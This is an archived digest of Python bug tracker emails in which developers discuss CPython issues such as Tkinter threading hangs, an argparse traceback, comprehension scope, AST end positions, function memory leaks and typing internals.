_______________________________________ From report at bugs.python.org Wed May 2 22:43:22 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 03 May 2018 02:43:22 +0000 Subject: [issue33391] leak in set_symmetric_difference? In-Reply-To: <1525081362.63.0.682650639539.issue33391@psf.upfronthosting.co.za> Message-ID: <1525315402.74.0.682650639539.issue33391@psf.upfronthosting.co.za> INADA Naoki added the comment: I'm sorry. I just reviewed some easy pull requests when I have time. I'll skip pull requests you assigned yourself next time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 23:05:58 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 03:05:58 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525316758.07.0.682650639539.issue33412@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > Do you have a suggestion for what to do short of dropping Tkinter support? Didn't really look into this. At first glance, from the trace log, the main thread seems to grab a lock at some initial point, and then tries to grab it again when running an event handler. So making the lock reentrant may help. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 23:29:46 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 03:29:46 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525318186.54.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > An automated test would need to fail more consistently, without needing to click. Running faster would also be good (and perhaps increase failure rate). The the test would be that the file runs in subprocess without an error (perhaps multiple times). There may be a test.support function for this. Thanks for the ideas. I'm on it. Was thinking of just wrapping the logic with unittest machinery but for a subprocess, it's easier to test stderr for exceptions. > You also claimed that tkinter is so broken, with either threaded or non-threaded tcl/tk https://bugs.python.org/issue33412 > CPython's current 2.7 windows installer is installing non-threaded 8.5.18. (I have no idea if or how I could check.) You can check this by seeing that the Tcl/Tk DLLs lack the 't' suffix. > It would seem then, that we should change to threaded 8.5.18 before 2.7.16. (2.7.15 was just released). https://bugs.python.org/issue33257#msg316092 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 23:30:05 2018 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 03 May 2018 03:30:05 +0000 Subject: [issue33412] Tkinter hangs if using multiple threads and event handlers In-Reply-To: <1525283509.66.0.682650639539.issue33412@psf.upfronthosting.co.za> Message-ID: <1525318205.11.0.682650639539.issue33412@psf.upfronthosting.co.za> Guido van Rossum added the comment: I guess nobody gives a damn. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 23:35:03 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 03:35:03 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525318503.58.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: > Is threaded tcl just a compile switch, as with CPython? Yes. In tcl.vcxproj, tk.vcxproj and tix.vcxproj, there are parameters named like TclOpts that are passed as OPTS arg to the lib's makefiles. For Tcl 8.5, you need to pass "threads" to build with threads; for 8.6, "nothreads" to build without. Also, in tcltk.props, the resulting DLL/LIB names are hardcoded with or without the 't' suffix. You'll need to fix that if you wish to switch the Tcl flavor. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 23:45:10 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 03:45:10 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525319110.56.0.682650639539.issue33257@psf.upfronthosting.co.za> Ivan Pozdeev added the comment: ... Finally, since https://bugs.python.org/issue30916, the 3.x Windows build uses a binary external and needs even more patching to build and link against a debug and/or custom Tcl/Tk (too long to describe, can give a patch). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 2 23:59:16 2018 From: report at bugs.python.org (Glen Walker) Date: Thu, 03 May 2018 03:59:16 +0000 Subject: [issue27448] Race condition in subprocess.Popen which causes a huge memory leak In-Reply-To: <1467636752.08.0.502936379731.issue27448@psf.upfronthosting.co.za> Message-ID: <1525319956.03.0.682650639539.issue27448@psf.upfronthosting.co.za> Glen Walker added the comment: Correct me if I'm wrong, the change released in Python 2.7.15 doesn't actually fix this race condition. The race is: * T1: gc_was_enabled = gc.isenabled() # True * T1: gc.disable() * T2: gc_was_enabled = gc.isenabled() # False * T1: gc.enable() * T2: gc.disable() To fix the race condition _disabling_gc_lock must also be held for gc.enable() in both call locations so it cannot happen between gc.isenabled() and gc.disable(). TBH, I'm not really expecting this to be fixed, this is more a note for any future travelers who come across this issue. ---------- nosy: +gwalker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 00:09:33 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 03 May 2018 04:09:33 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) Message-ID: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> New submission from Andr?s Delfino : Right now we are using os.path.is(dir|file|symlink) in shutil.copytree, but taking advantage of os.scandir's is_(dir|file|symlink) seems the way to go. I'll make a PR with to start the discussion with a proof of concept. ---------- components: Library (Lib) messages: 316108 nosy: adelfino priority: normal severity: normal status: open title: Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 00:10:24 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Thu, 03 May 2018 04:10:24 +0000 Subject: [issue32813] SSL shared_ciphers implementation wrong - returns configured but not shared ciphers In-Reply-To: <1518246255.91.0.467229070634.issue32813@psf.upfronthosting.co.za> Message-ID: <1525320624.29.0.682650639539.issue32813@psf.upfronthosting.co.za> Benjamin Peterson added the comment: It's looks like OpenSSL just fixed SSL_get_shared_ciphers to actually do what we would want here. https://github.com/openssl/openssl/commit/a216df599a6076147c27acea6c976fb11f505b1a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 00:41:09 2018 From: report at bugs.python.org (Josh Rosenberg) Date: Thu, 03 May 2018 04:41:09 +0000 Subject: [issue33381] Incorrect documentation for strftime()/strptime() format code %f In-Reply-To: <1524963978.65.0.682650639539.issue33381@psf.upfronthosting.co.za> Message-ID: <1525322469.1.0.682650639539.issue33381@psf.upfronthosting.co.za> Josh Rosenberg added the comment: Note: strftime follows the existing documentation: >>> datetime.datetime(1970, 1, 1, microsecond=1).strftime('%f') '000001' The strptime behavior bug seems like a duplicate of #32267, which claims to be fixed in master as of early January; may not have made it into a release yet though. I can't figure out how to view the patch on that issue, it doesn't seem to be linked to GitHub like normal. ---------- nosy: +josh.r _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 03:11:37 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 03 May 2018 07:11:37 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1525331497.24.0.682650639539.issue33414@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Could you show an example that exposes a significant overhead of the current implementation? There were reasons of using os.scandir() in os.walk() and glob.glob(). You may scan thousands of files and performs a heavy I/O only with few of them. There was smaller reason of using it in shutil.rmtree() -- removing an entry from the directory is fast, but likely you will spent much more time for creating a tree. But I don't know reasons of using it in shutil.copytree() in which you need to performs a heavy I/O with every file and directory. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 03:28:46 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 03 May 2018 07:28:46 +0000 Subject: [issue33038] GzipFile doesn't always ignore None as filename In-Reply-To: <1520642770.84.0.467229070634.issue33038@psf.upfronthosting.co.za> Message-ID: <1525332526.64.0.682650639539.issue33038@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The workaround in the current 2.7 is specifying an explicit filename argument: with tempfile.SpooledTemporaryFile() as fd: with gzip.GzipFile(filename='', mode='wb', fileobj=fd) as gz: gz.write(b'asdf') ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 04:26:26 2018 From: report at bugs.python.org (Ariel Otilibili Anieli) Date: Thu, 03 May 2018 08:26:26 +0000 Subject: [issue33415] When add_mutually_exclusive_group is built without argument, the help breaks with "IndexError: list index out of range" Message-ID: <1525335986.39.0.682650639539.issue33415@psf.upfronthosting.co.za> New submission from Ariel Otilibili Anieli : Hello, When add_mutually_exclusive_group is built without argument, the help breaks with "IndexError: list index out of range". Indeed this snippet: actions_ = parser.add_argument_group('Actions') actions = actions_.add_mutually_exclusive_group() Breaks the help of argparse: # --help Traceback (most recent call last): File "./ovpauto", line 135, in args = parser.parse_args() File "/usr/lib/python2.7/argparse.py", line 1701, in parse_args args, argv = self.parse_known_args(args, namespace) File "/usr/lib/python2.7/argparse.py", line 1733, in parse_known_args namespace, args = self._parse_known_args(args, namespace) File "/usr/lib/python2.7/argparse.py", line 1939, in _parse_known_args start_index = consume_optional(start_index) File "/usr/lib/python2.7/argparse.py", line 1879, in consume_optional take_action(action, args, option_string) File "/usr/lib/python2.7/argparse.py", line 1807, in take_action action(self, namespace, argument_values, option_string) File "/usr/lib/python2.7/argparse.py", line 996, in __call__ parser.print_help() File "/usr/lib/python2.7/argparse.py", line 2340, in print_help self._print_message(self.format_help(), file) File "/usr/lib/python2.7/argparse.py", line 2314, in format_help return formatter.format_help() File "/usr/lib/python2.7/argparse.py", line 281, in format_help help = self._root_section.format_help() File "/usr/lib/python2.7/argparse.py", line 211, in format_help func(*args) File "/usr/lib/python2.7/argparse.py", line 319, in _format_usage action_usage = format(optionals + positionals, groups) File "/usr/lib/python2.7/argparse.py", line 390, in _format_actions_usage start = actions.index(group._group_actions[0]) IndexError: list index out of range Moreover, the trace does not say whence the error came from. # uname -a Linux quasar 4.8.0-2-amd64 #1 SMP Debian 4.8.15-2 (2017-01-04) x86_64 GNU/Linux # lsb_release -a No LSB modules are available. Distributor ID: Debian Description: Debian GNU/Linux testing (buster) Release: testing Codename: buster # gcc --version gcc (Debian 7.3.0-17) 7.3.0 Copyright (C) 2017 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # python --version Python 2.7.15rc1 # dpkg -l | grep -P '\s+python\s+.*2.7.15' ii python 2.7.15~rc1-1 amd64 interactive high-level object-oriented language (default version) Regards, Ariel ---------- messages: 316113 nosy: ariel-anieli, bethard priority: normal severity: normal status: open title: When add_mutually_exclusive_group is built without argument, the help breaks with "IndexError: list index out of range" type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 05:41:55 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 03 May 2018 09:41:55 +0000 Subject: [issue3692] improper scope in list comprehension, when used in class declaration In-Reply-To: <1219792814.12.0.663300668565.issue3692@psf.upfronthosting.co.za> Message-ID: <1525340515.19.0.682650639539.issue3692@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Mariatta, > While I understand why it behaves the way it is now, but it seems wrong behavior. Perhaps we should look into finding a solution. I am all in favour of dropping implicit function scope in comprehensions (mostly because of weirdness like described here, but it will also fix some `yield` issues and simplify some `await` aspects). But I was not able to convince others it worth the effort. Maybe we can make another attempt at discussing this? ---------- nosy: +gvanrossum, levkivskyi, serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 05:48:38 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 03 May 2018 09:48:38 +0000 Subject: [issue33346] Syntax error with async generator inside dictionary comprehension In-Reply-To: <1524567941.57.0.682650639539.issue33346@psf.upfronthosting.co.za> Message-ID: <1525340918.2.0.682650639539.issue33346@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: My guess this is a consequence of the implicit function scope in comprehensions, see https://bugs.python.org/issue3692 I would say a proper solution would be to drop the implicit function scope in favour of other mechanisms, but this will require some work and discussions. ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 05:49:28 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 03 May 2018 09:49:28 +0000 Subject: [issue3692] improper scope in list comprehension, when used in class declaration In-Reply-To: <1219792814.12.0.663300668565.issue3692@psf.upfronthosting.co.za> Message-ID: <1525340968.47.0.682650639539.issue3692@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: See https://bugs.python.org/issue33346 for yet another example where implicit function scope complicates life. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 05:51:44 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 03 May 2018 09:51:44 +0000 Subject: [issue33337] Provide a supported Concrete Syntax Tree implementation in the standard library In-Reply-To: <1524445447.99.0.682650639539.issue33337@psf.upfronthosting.co.za> Message-ID: <1525341104.75.0.682650639539.issue33337@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 06:15:25 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 03 May 2018 10:15:25 +0000 Subject: [issue33416] Add endline and endcolumn to every AST node Message-ID: <1525342525.55.0.682650639539.issue33416@psf.upfronthosting.co.za> New submission from Ivan Levkivskyi : Some Python tools (in particular I am interested in type checkers) will benefit from knowing where a given expression ends to indicate/highlight location of an error in the source code. Other tools and IDEs may have also some other benefits. Currently such tools need to use some hacks and/or custom parser to find the end line and end column of an expression, while it would be more straightforward to just add this information to every AST node by CPythons own parser. This will increase memory usage, but expectation is that this effect will be minor. What do you think? ---------- components: Interpreter Core messages: 316117 nosy: gvanrossum, levkivskyi, lukasz.langa, serhiy.storchaka, vstinner priority: normal severity: normal status: open title: Add endline and endcolumn to every AST node type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 06:30:05 2018 From: report at bugs.python.org (weapon) Date: Thu, 03 May 2018 10:30:05 +0000 Subject: [issue33417] Isinstance() behavior is not consistent with the document Message-ID: <1525343405.44.0.682650639539.issue33417@psf.upfronthosting.co.za> New submission from weapon : In the PEP 3119(https://www.python.org/dev/peps/pep-3119/),it introduce about Customizing instance and subclass checks. >The primary mechanism proposed here is to allow overloading the built-in functions isinstance() and issubclass(). The overloading works as follows: The call isinstance(x, C) first checks whether C.__instancecheck__ exists, and if so, calls C.__instancecheck__(x) instead of its normal implementation. but my code doesn't works. ``` class Sizeable(object): def __instancecheck__(cls, instance): print("__instancecheck__ call") return hasattr(instance, "__len__") class B(object): pass b = B() print(isinstance(b, Sizeable)) # output:False ``` The __instancecheck__ function is not called. In PyObject_IsInstance,when isinstance(x, C) the following three conditions are reached, __instancecheck__ will take effect: 1. x can not be directly instantiated by C; 2. The C class specifies the metaclass; 3. The __instancecheck__ in the specified metaclass class is defined. This code can work: ``` class MetaSizeable(type): def __instancecheck__(cls, instance): print("__instancecheck__ call") return hasattr(instance, "__len__") class Sizeable(metaclass=MetaSizeable): pass class B(object): pass b = B() print(isinstance(b, Sizeable)) # output: False print(isinstance([], Sizeable)) # output: True ``` So,the problem is that the document does not conform to the reality.Can it be guaranteed that __instancecheck__ is always called? If yes: PyObject_IsInstance should be tweaked. If no: document should be tweaked. ---------- assignee: docs at python components: Documentation, Interpreter Core messages: 316118 nosy: docs at python, hongweipeng priority: normal severity: normal status: open title: Isinstance() behavior is not consistent with the document type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 06:33:27 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 03 May 2018 10:33:27 +0000 Subject: [issue33315] Allow queue.Queue to be used in type annotations In-Reply-To: <1524139376.68.0.682650639539.issue33315@psf.upfronthosting.co.za> Message-ID: <1525343607.69.0.682650639539.issue33315@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: > Could you please product a draft PR showing how that would work? It might not be accepted right away but it would be useful to have. It is not 100% clear to whom this was addressed. Anyway, Semyon, if you don't have time, then I can make a simple PR, otherwise can you try doing it yourself? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 06:55:01 2018 From: report at bugs.python.org (Charalampos Stratakis) Date: Thu, 03 May 2018 10:55:01 +0000 Subject: [issue32962] test_gdb fails in debug build with `-mcet -fcf-protection -O0` In-Reply-To: <1519722167.1.0.467229070634.issue32962@psf.upfronthosting.co.za> Message-ID: <1525344901.03.0.682650639539.issue32962@psf.upfronthosting.co.za> Change by Charalampos Stratakis : ---------- nosy: +Dormouse759 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 07:49:11 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Thu, 03 May 2018 11:49:11 +0000 Subject: [issue4470] smtplib SMTP_SSL not working. In-Reply-To: <1228062214.03.0.955455415588.issue4470@psf.upfronthosting.co.za> Message-ID: <1525348151.98.0.682650639539.issue4470@psf.upfronthosting.co.za> Cheryl Sabella added the comment: This issue has been in pending status for over 18 months following Christian's question to the OP, so closing as out of date. ---------- nosy: +csabella resolution: -> out of date stage: patch review -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 07:51:36 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Thu, 03 May 2018 11:51:36 +0000 Subject: [issue8613] Decimal module flags undetermined when a signal is trapped. In-Reply-To: <1272984841.0.0.906657038884.issue8613@psf.upfronthosting.co.za> Message-ID: <1525348296.98.0.682650639539.issue8613@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 08:11:41 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 03 May 2018 12:11:41 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1525349501.77.0.682650639539.issue32769@psf.upfronthosting.co.za> Andr?s Delfino added the comment: Guido, now that we are working on this, perhaps you can list what other terms related to type hints/annotations you were thinking for addition. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 08:19:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 03 May 2018 12:19:43 +0000 Subject: [issue31463] test_multiprocessing_fork hangs test_subprocess In-Reply-To: <1505370960.72.0.0292264137903.issue31463@psf.upfronthosting.co.za> Message-ID: <1525349983.1.0.682650639539.issue31463@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 08:20:52 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 03 May 2018 12:20:52 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1525350052.74.0.682650639539.issue33414@psf.upfronthosting.co.za> Andr?s Delfino added the comment: To be frank, I just searched the tree for uses of listdir() combined with isdir()/isfile()/issymlink(). Thought that using scandir() would make sense, and didn't think of a reason for not using it. That being said, I cannot state a case and I'll be happy to close the PR if there's no need for this :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 08:23:24 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 03 May 2018 12:23:24 +0000 Subject: [issue33414] Make shutil.copytree use os.scandir to take advantage of cached is_(dir|file|symlink) In-Reply-To: <1525320573.53.0.682650639539.issue33414@psf.upfronthosting.co.za> Message-ID: <1525350204.88.0.682650639539.issue33414@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 08:37:24 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 03 May 2018 12:37:24 +0000 Subject: [issue33332] Expose valid signal set (sigfillset()): add signal.valid_signals() In-Reply-To: <1524395007.64.0.682650639539.issue33332@psf.upfronthosting.co.za> Message-ID: <1525351044.52.0.682650639539.issue33332@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- title: Expose valid signal set (sigfillset()) -> Expose valid signal set (sigfillset()): add signal.valid_signals() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 09:33:47 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 03 May 2018 13:33:47 +0000 Subject: [issue32414] PyCapsule_Import fails when name is in the form 'package.module.capsule' In-Reply-To: <1514022429.41.0.213398074469.issue32414@psf.upfronthosting.co.za> Message-ID: <1525354427.32.0.682650639539.issue32414@psf.upfronthosting.co.za> Nick Coghlan added the comment: "package.module:attribute" is also the syntax used in packaging tools to unambiguously separate the name of the module to be imported from the attribute chain to be looked up within that module: https://packaging.python.org/specifications/entry-points/ So +1 from me for extending it to this use case as well. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 10:14:56 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 03 May 2018 14:14:56 +0000 Subject: [issue32981] Catastrophic backtracking in poplib (CVE-2018-1060) and difflib (CVE-2018-1061) In-Reply-To: <1519950979.87.0.467229070634.issue32981@psf.upfronthosting.co.za> Message-ID: <1525356896.28.0.682650639539.issue32981@psf.upfronthosting.co.za> STINNER Victor added the comment: FYI I tracked this vulnerability at: http://python-security.readthedocs.io/vuln/cve-2018-1060_difflib_and_poplib_catastrophic_backtracking.html ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 10:16:13 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Thu, 03 May 2018 14:16:13 +0000 Subject: [issue20722] newline is (partially) independent of universal newlines; needs to be made more clear in docs In-Reply-To: <1392989047.5.0.441949548663.issue20722@psf.upfronthosting.co.za> Message-ID: <1525356973.03.0.682650639539.issue20722@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- stage: -> needs patch type: -> enhancement versions: +Python 3.8 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 10:58:20 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 14:58:20 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525359500.68.0.682650639539.issue33257@psf.upfronthosting.co.za> Change by Ivan Pozdeev : Added file: https://bugs.python.org/file47565/0001-Build-non-threaded-debug-Tcl.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 10:59:16 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Thu, 03 May 2018 14:59:16 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl In-Reply-To: <1523378469.47.0.682650639539.issue33257@psf.upfronthosting.co.za> Message-ID: <1525359556.79.0.682650639539.issue33257@psf.upfronthosting.co.za> Change by Ivan Pozdeev : Added file: https://bugs.python.org/file47566/0001-build-2.7-with-threaded-Tcl.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 13:54:23 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Thu, 03 May 2018 17:54:23 +0000 Subject: [issue33418] Memory leaks in functions Message-ID: <1525370063.61.0.682650639539.issue33418@psf.upfronthosting.co.za> New submission from Jeroen Demeyer : This is a memory leak: >>> while True: ... def f(): pass ... f.__doc__ = f This also: >>> while True: ... f = [].append ... f.__module__ = f This is because the classes "function" and "builtin_function_or_method" do not implement tp_clear. ---------- messages: 316125 nosy: jdemeyer priority: normal severity: normal status: open title: Memory leaks in functions _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 13:54:46 2018 From: report at bugs.python.org (Jeroen Demeyer) Date: Thu, 03 May 2018 17:54:46 +0000 Subject: [issue33418] Memory leaks in functions In-Reply-To: <1525370063.61.0.682650639539.issue33418@psf.upfronthosting.co.za> Message-ID: <1525370086.54.0.682650639539.issue33418@psf.upfronthosting.co.za> Change by Jeroen Demeyer : ---------- components: +Interpreter Core type: -> resource usage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:31:32 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 18:31:32 +0000 Subject: [issue33419] Add functools.partialclass Message-ID: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> New submission from Neil Girdhar : functools.partial is almost good enough for specifying some of the parameters of an object's initializer, but the partial object doesn't respond properly to issubclass. Adding functools.partialclass is similar to the addition of partialmethod in 3.4. ---------- files: partialclass.diff keywords: patch messages: 316126 nosy: neil.g priority: normal severity: normal status: open title: Add functools.partialclass versions: Python 3.7 Added file: https://bugs.python.org/file47567/partialclass.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:31:41 2018 From: report at bugs.python.org (Adam Paszke) Date: Thu, 03 May 2018 18:31:41 +0000 Subject: [issue33420] __origin__ invariant broken Message-ID: <1525372301.54.0.682650639539.issue33420@psf.upfronthosting.co.za> New submission from Adam Paszke : Hi everyone, I have a module that needs to inspect type annotations on a few functions. One of the types I need to special case on is typing.Tuple, and I used code like this to detect it: if getattr(annotation, '__origin__', None) == typing.Tuple: ... else: ... This was based on the comment from the typing module (Lib/typing.py:609) that specified this particular invariant on the __origin__ attribute: > __origin__ keeps a reference to a type that was subscripted, e.g., Union[T, int].__origin__ == Union; Everything worked just fine until I checked it on the alpha release of Python 3.7 in my CI. Turns out, that in that release we have typing.Tuple[str, int].__origin__ == tuple and not (which is the case in e.g. 3.6) typing.Tuple[str, int].__origin__ == typing.Tuple I know this is not a documented attribute, so it can change, but I wanted to highlight that it's either a regression, or the comment will need to be updated, so people won't try to depend on that. ---------- components: Library (Lib) messages: 316127 nosy: apaszke priority: normal severity: normal status: open title: __origin__ invariant broken type: behavior versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:32:02 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 18:32:02 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525372322.63.0.682650639539.issue33419@psf.upfronthosting.co.za> Change by Neil Girdhar : ---------- components: +Library (Lib) type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:33:08 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 18:33:08 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525372388.45.0.682650639539.issue33419@psf.upfronthosting.co.za> Change by Neil Girdhar : Added file: https://bugs.python.org/file47568/partialclass2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:33:40 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 03 May 2018 18:33:40 +0000 Subject: [issue33418] Memory leaks in functions In-Reply-To: <1525370063.61.0.682650639539.issue33418@psf.upfronthosting.co.za> Message-ID: <1525372420.19.0.682650639539.issue33418@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +serhiy.storchaka versions: +Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:34:59 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 03 May 2018 18:34:59 +0000 Subject: [issue33420] __origin__ invariant broken In-Reply-To: <1525372301.54.0.682650639539.issue33420@psf.upfronthosting.co.za> Message-ID: <1525372499.52.0.682650639539.issue33420@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +gvanrossum, levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:40:32 2018 From: report at bugs.python.org (Neil Girdhar) Date: Thu, 03 May 2018 18:40:32 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525372832.26.0.682650639539.issue33419@psf.upfronthosting.co.za> Neil Girdhar added the comment: I edited some of the documentation as well to use the technical terms "partial function application", "partial method application", and "partial class application". This emphasizes the parallel structure and reduces confusion with "partial functions" that mean something else in other languages. I also removed a phrase that used the term "freezes" since in Python "frozen" is also used in frozenset to mean frozen for good whereas the keyword arguments in a partial function application are overridable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:50:35 2018 From: report at bugs.python.org (Semyon Proshev) Date: Thu, 03 May 2018 18:50:35 +0000 Subject: [issue33315] Allow queue.Queue to be used in type annotations In-Reply-To: <1524139376.68.0.682650639539.issue33315@psf.upfronthosting.co.za> Message-ID: <1525373434.99.0.682650639539.issue33315@psf.upfronthosting.co.za> Semyon Proshev added the comment: I'm not sure that I'll be able to make a PR quickly, so feel free to do it ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 3 14:51:00 2018 From: report at 